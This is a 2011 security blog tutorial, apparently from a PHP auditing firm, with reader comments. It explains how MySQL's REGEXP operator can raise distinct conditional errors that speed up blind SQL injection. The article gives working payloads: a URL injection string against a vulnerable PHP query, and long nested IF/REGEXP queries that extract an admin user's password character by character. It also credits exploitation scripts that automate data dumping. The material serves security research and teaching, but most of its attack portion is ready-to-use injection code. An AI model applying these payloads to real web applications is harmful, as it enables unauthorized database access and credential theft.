( ~~~ )
  ))^ ^((
 ((* - *))
   _) (_
 / '--' \     ^
//(_  _)\\   /_\
\\ )__( //   .'
 (( v  ))   (
   \| /\     '-.
    K(  \       )
    |\\  '-._.-'
    ||\\
  *_-P/,P
     '-
Want your PHP application manually audited? Check out Xxor AB's PHP Security Auditing Service

Tuesday, June 21, 2011

Speeding up Blind SQL Injections using Conditional Errors in MySQL

Please note that this article expects some prior knowledge of blind SQL injections.

Edit: If you want to read about this in Russisn, its been published here in 2009.
Edit2: jrm` provided me with a working implementation of this method which he coded using information from this article. His code can be read at the bottom of this article or downloaded here.
Edit3: jrm` also created python script which can be downloaded here.

Usually a syntax error in a blind SQL injection will have some sort of visible effect in the output of a web application. So what if we could conditionally generate such an error instead of relying on conditionally delaying and timing a request using functions such as BENCHMARK or SLEEP?

There is no documented way of causing MySQL to throw an error based on a condition in a query. However, in both MySQL 4 and 5, there exists an operator named REGEXP (and it's synonym RLIKE). This operator is used for pattern matching using regular expressions.

The Basic Behaviour of REGEXP

This is a SQL query that would return "1" since the selected text "foo" matches the simple pattern "bar|foo". SELECT 'foo' REGEXP 'bar|foo';
To simplify the query a number could be selected and a number could be used as a pattern. SELECT 1 REGEXP 1
But if an incorrect pattern like this empty string is supplied, MySQL will throw an error that reads "Got error 'empty (sub)expression' from regexp". SELECT 1 REGEXP ''

Example 1

Combine the behaviour of REGEXP with MySQL's IF function and conditional errors can be produced. This first query will return "1" without any complications while the second one will throw an error. SELECT 1 REGEXP IF(1=1,1,'') SELECT 1 REGEXP IF(1=2,1,'') The only difference between these querys is that the first one supplied the IF function with a true statement (1=1) while the secound supplied a false statement (1=2).

Consider that as an alternative to this commonly used method where the first query will return immediately while the second will return after a few seconds delay. IF(1=1,1,BENCHMARK(1000000,MD5(1))) IF(1=2,1,BENCHMARK(1000000,MD5(1)))
A blind SQL injection like the one in this line of PHP could be exploited more then 10 times faster by avoiding the delay. mysql_query("update `users` set `token`= '' where `id`='".$_GET['user_id']."'") or die("Database error!"); And to exploit the vulnerable line of PHP to output "Database error!" if the MySQL version isn't 5. One would use a query like this one. SELECT 1 REGEXP IF(SUBSTR(@@version,1,1)=5,0,'')
And input it to the script like this.
http://www.example.com/vulnscript.php?user_id=' OR (SELECT 1 REGEXP IF(SUBSTR(@@version,1,1)=5,0,'')) OR '1

Multiple Conditional errors

Consider a vulnerable line of PHP like this where instead of a static error message informing us of a database error, we'll get to see the actual error message thrown by MySQL. mysql_query("update `users` set `token`= '' where `id`='".$_GET['user_id']."'") or die(mysql_error());
Now why would this make any difference?
The REGEXP operator cannot only produce one error message, not two, but 10 different error messages. These different error messages can be triggered by different malformated patterns.
Here is a list of invalid patterns and there correlating error messages. SELECT 1 REGEXP '' Got error 'empty (sub)expression' from regexp SELECT 1 REGEXP '(' Got error 'parentheses not balanced' from regexp SELECT 1 REGEXP '[' Got error 'brackets ([ ]) not balanced' from regexp SELECT 1 REGEXP '\\' Got error 'trailing backslash (\)' from regexp SELECT 1 REGEXP '*' Got error 'repetition-operator operand invalid' from regexp SELECT 1 REGEXP 'a{1,1,1}' Got error 'invalid repetition count(s)' from regexp SELECT 1 REGEXP '[a-9]' Got error 'invalid character range' from regexp SELECT 1 REGEXP 'a{1,' Got error 'braces not balanced' from regexp SELECT 1 REGEXP '[[.ab.]]' Got error 'invalid collating element' from regexp SELECT 1 REGEXP '[[:ab:]]' Got error 'invalid character class' from regexp
Usually when exploiting a blind SQL injection 8 request would need to be sent to a vulnerable web application to extract one byte of data from it's database. Since the only value one request can extract is either true or false, one request for each of the 8 bits in a byte is needed.
By utilizing conditional errors, instead of 2 having distinguishable states, 11 different states can be distinguished. 10 for the different error messages and 1 if no error occurred.

Useing these 11 states, 47% of all the 256 possible values of a byte could be determined in only 2 requests. Another 47% in 3 requests. And the remaining 6% in 4 requests.
Or if the possible values were narrowed down to only the printable characters (ASCII decimal 32-127). 100% could be determined in 2 requests.
Or if the possible values were further narrowed down to numerics (0-9), only 1 request for each digit would be needed.

Example 2

As an example lets say that we would want to find out the first letter of the password belonging to a user named admin.

Usually we would form a query like this. SELECT `pass` FROM `users` WHERE `user`='admin' And use that query as a subquery to ask if the ASCII value of a letter is greater then 128. IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))>128,1,BENCHMARK(1000000,MD5(1))) That query would return immediately if the first letters ASCII value is greater then 128 and delay for a little while if it is 128 or less. And then further requests would keep cutting the range in half until it's been narrowed down to to a definite value.

To make use of conditional errors 10 questions would be asked in a single query. The first query would look something like this. SELECT 1 REGEXP IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<31,'', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<52,'(', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<73,'[', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<94,'\\', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<115,'*', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<136,'a{1,1,1}', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<157,'[a-9]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<178,'a{1', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<199,'[[.ab.]]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))<230,'[[:ab:]]', 1))))))))))
If this query returns an error message that reads "Got error 'repetition-operator operand invalid' from regexp". Then the decimal ASCII value of the first letter of admin's password is contained within the 94-114 range.

After that one would send another query making 10 guesses on 10 distinct values. SELECT 1 REGEXP IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=94,'', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=95,'(', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=96,'[', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=97,'\\', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=98,'*', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=99,'a{1,1,1}', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=100,'[a-9]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=101,'a{1', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=102,'[[.ab.]]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=103,'[[:ab:]]', 1)))))))))) If no error message is returned all of those guesses where wrong. In that case one would send another query containing 10 of the 11 remaining values in the 94-114 range. SELECT 1 REGEXP IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=104,'', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=105,'(', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=106,'[', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=107,'\\', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=108,'*', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=109,'a{1,1,1}', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=110,'[a-9]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=111,'a{1', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=112,'[[.ab.]]', IF(ASCII(SUBSTRING((SELECT `pass` FROM `users` WHERE `user`='admin'),1,1))=113,'[[:ab:]]', 1)))))))))) If this query returned the error message "Got error 'trailing backslash (\)' from regexp" the first letter of admin's password has the ASCII value 107 witch corresponds to a lowercase k. Or if no error is returned that would mean the first letter has an ASCII value of 114, the only remaining value within the range.

Note: For anyone trying to program a script to automatically send these queries. Remember that values in the first and the last 2 ranges of the first query might require 4 requests while all other ranges requires 2-3 requests.

Conclusion

This method is particularly useful for its substantial increase in speed and the reduced number of requests needed compared to other commonly used methods. However, special conditions is required to successfully utilize these improvements. Although nearly all blind SQL injection points differs its output when an error is thrown, not all of them do. Thus whenever this method is used in a universal manner, the method of delaying and timing would still be needed as a fallback.


Related links:
http://dev.mysql.com/doc/refman/5.1/en/regexp.html
http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/
http://qwazar.ru/?p=26


blindsql_v1.5.py by jrm`
blindsql_v1.4_regexp.php by jrm`
jrm` provided me with this awesome script which implements the error based REGEXP method.
"Result : 30 secs for the binary masks version, 10 secs for the REGEXP version on the same SQL query."

14 comments:

  1. http://www.ihteam.net/papers/blind-sqli-regexp-attack.pdf

    ReplyDelete
  2. Hello Hexxor Security,
    thats a great work, but nothing new:
    we already have published this method on June 12, 2011.

    You can find a POC here: http://www.ihteam.net/papers/blind-sqli-regexp-attack.pdf

    ReplyDelete
  3. Hello both,
    this stuff got published 1 year earlier here:
    http://websec.wordpress.com/2010/05/07/exploiting-hard-filtered-sql-injections-2-conditional-errors/
    and here
    http://qwazar.ru/?p=26

    ReplyDelete
  4. @R00T_ATI
    I see that you didn't even take the time to read through the whole article. You see I read through your whole paper when you published it and they are nothing alike.

    Please try again.

    @Anonymous
    I've read the first article while trying to find similar research, and it lacks curtain aspects.

    But thank you for the second article in Russian. That author seemed to even have figured out one extra thing that I've missed.

    ReplyDelete
  5. Nice post.

    While I understand the process, what I don't get is the 'blind' part. Afaik, it is not fully blind since you need to have mysql error messages, right ?

    If I understand your post correctly, you need to match the error returned by Mysql to determine which sub-query failed, and thus which ASCII range is the byte contained in.

    But imagine a web app which says :
    'Login failed' -> means query failed
    'incorrect username or password' -> query is valid.

    No mysql error message. This is blind. Your method doesn't apply there.

    Please correct me if I'm wrong :)

    ReplyDelete
  6. @Anonymous (2)
    Thank you for your comment, I understand your critique and I will try to explain my angle.

    The difference between a failed and a valid query usually is that the valid one returns 1 or more rows while the failed one returns 0 rows. What I'm doing is causing MySQL to throw an error. This often causes the web application to halt execution or to output some kind of error message.
    If it shows a generic error message or just halts execution, that is still more then 10 times faster then delaying and timing the request. And if it outputs MySQL's error message, the number of requests can be reduced from 8 to 2-4.

    Also what is a blind SQL injections could be debated. A truly blind one should not even be susceptible to delaying and timing using the benchmark function, and yet these are called blind.

    ReplyDelete
  7. @Mango: Thank you for you quick reply.

    Just to make it clear, to resume, this technique is useful only when "mysql_error()" error messages are displayed.

    However, when the injection is "truly blind", ie. generic message or no message, the fastest and most efficient way, is still the binary-masks-8-reqs-per-char technique.

    That was the point. This is clear now :)

    Regards

    ReplyDelete
  8. @Anonymous (2)
    You are right.

    But I'm actually working on a little script to use probability, statistics, letter frequencies and more to increase the speed on the binary-masks-8-reqs-per-char technique. Check back in a couple of weeks and I should have it ready then.

    ReplyDelete
  9. Thanks for link to my post. Also you can read some other researches (in russian), here: https://rdot.org/forum/showthread.php?t=245

    And here: https://forum.antichat.ru/thread119047.html

    Also some hints can be found in my blog and here: https://rdot.org/forum/showthread.php?t=118

    And here: https://rdot.org/forum/showthread.php?t=60

    I think google translate can help. Also it's recomended to read not only first page.

    ReplyDelete
  10. Hi,

    Really cool article. Would you consider publishing a PDF version for an easy offline reading ?
    Thanks

    ReplyDelete
  11. @Mango

    Following our discussions. I had a PHP script that I developed to dump Mysql data using blind injections, with the "binary masks" technique - Code here :
    http://pastebin.com/0tj4DDNF


    Usign your paper I modified the script to use the REGEXP subqueries technique, Code here :
    http://pastebin.com/hmKQm2M7

    Result : 30 secs for the binary masks version, 10 secs for the REGEXP version on the same SQL query.

    You can see the output and test web page here :
    http://pastebin.com/CYsEubsk


    I Hope you'll find this useful, may it help you in your further research.

    Regards

    ReplyDelete
  12. @Qwazar
    Thank you. I'll check it out.

    @Anonymous (3)
    I'll try to convert it to PDF in a couple of days. Check back then.

    @Anonymous (2)
    Cool. Thank you very much. Do you have a website or should I copy the code and host it at mine. And since you're anonymous, who should I credit?

    As I said before "I'm actually working on a little script to use probability, statistics, letter frequencies and more to increase the speed on the binary-masks-8-reqs-per-char technique". So far it's just a php5 class. Maby we could work together to include it in your script.
    Please drop me an e-mail at h@xxor.se

    ReplyDelete
  13. @Anonymous (3)
    I've now added a widget from PDF24 that can convert an article to pdf and send it to your email.

    ReplyDelete
  14. nice one, there is a similar approach which can be used described here: http://www.notsosecure.com/folder2/2009/09/30/more-on-true-and-error-blind-sql-injection/

    bsqlbf already incorporates this mode

    ReplyDelete